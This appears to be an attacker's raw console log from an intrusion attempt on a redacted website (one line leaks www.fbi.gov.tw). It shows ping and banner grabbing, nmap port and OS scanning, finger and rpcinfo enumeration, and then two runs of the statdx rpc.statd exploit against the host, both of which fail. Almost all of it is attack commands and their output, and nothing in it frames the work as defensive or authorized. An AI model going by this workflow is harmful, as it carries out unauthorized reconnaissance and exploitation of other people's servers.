C:\ping www.XXX.com 

Pinging www.XXX.com[202.106.184.200] with 32 bytes of data: 

Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 

Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 

Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 

Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 

Ping statistics for 202.106.184.200: 

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 

Approximate round trip times in milli-seconds: 

Minimum = 511ms, Maximum = 651ms, Average = 580ms 

嘻嘻—不但连得上，速度还不错…… 

先telnet看看banner：

C:\>telnet www.XXX.com

C:\>ftp www.XXX.com 

Connected to www.fbi.gov.tw. 

220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. 

User (www.XXX.com:(none)):

C:\>telnet xxx.xxx.xxx.xxx 

Red Hat Linux release 7.0 (Guinness) 

Kernel 2.2.16-22smp on an i686 

login: fetdog 

Password: 

bash-2.04$

bash-2.04$nmap -sT -O www.XXX.com 

Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) 

WARNING! The following files exist and are readable: /usr/local/sha 

-services and ./nmap-services. I am choosing /usr/local/share/nmap/ 

s for security reasons. set NMAPDIR=. to give priority to files in 

irectory 

Interesting ports on (www.XXX.com): 

(The 1520 ports scanned but not shown below are in state: closed) 

Port State Service 

25/tcp open smtp 

79/tcp open finger 

80/tcp open http 

111/tcp open sunrpc 

113/tcp open auth 

443/tcp open https 

513/tcp open login 

514/tcp open shell 

515/tcp open printer 

587/tcp open submission 

1024/tcp open kdm 

TCP Sequence Prediction: Class=random positive increments 

Difficulty=3247917 (Good luck!) 

Remote operating system guess: Linux 2.1.122 - 2.2.16 

Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

bash-2.04$finger @www.XXX.com

[www.XXX.com]

No one logged on.

bash-2.04$rpcinfo -p www.XXX.com

program vers proto port service

100000 2 tcp 111 rpcbind

100000 2 udp 111 rpcbind

100021 1 udp 1024 nlockmgr

100021 3 udp 1024 nlockmgr

100024 1 udp 1025 status

100024 1 tcp 1024 status

bash-2.04$./statdx -h

statdx by ron1n

Usage: stat [-t] [-p port] [-a addr] [-l len]

[-o offset] [-w num] [-s secs] [-d type]

-t attack a tcp dispatcher [udp]

-p rpc.statd serves requests on [query]

-a the stack address of the buffer is

-l the length of the buffer is [1024]

-o the offset to return to is [600]

-w the number of dwords to wipe is [9]

-s set timeout in seconds to [5]

-d use a hardcoded

Available types:

0 RedHat 6.2 (nfs-utils-0.1.6-2)

1 RedHat 6.1 (knfsd-1.4.7-7)

2 RedHat 6.0 (knfsd-1.2.2-4)

bash-2.04$stat -d 0 www.XXX.com

buffer: 0xbffff314 length: 999 (+str/+nul)

target: 0xbffff718 new: 0xbffff56c (offset: 600)

wiping 9 dwords

Failed - statd returned res_stat: (failure) state: 21

bash-2.04$stat -d 1 www.XXX.com

buffer: 0xbffff314 length: 999 (+str/+nul)

target: 0xbffff718 new: 0xbffff56c (offset: 600)

wiping 9 dwords

Failed - statd returned res_stat: (failure) state: 21

bash-2.04$finger @www.XXX.com

[www.XXX.com]

No one logged on.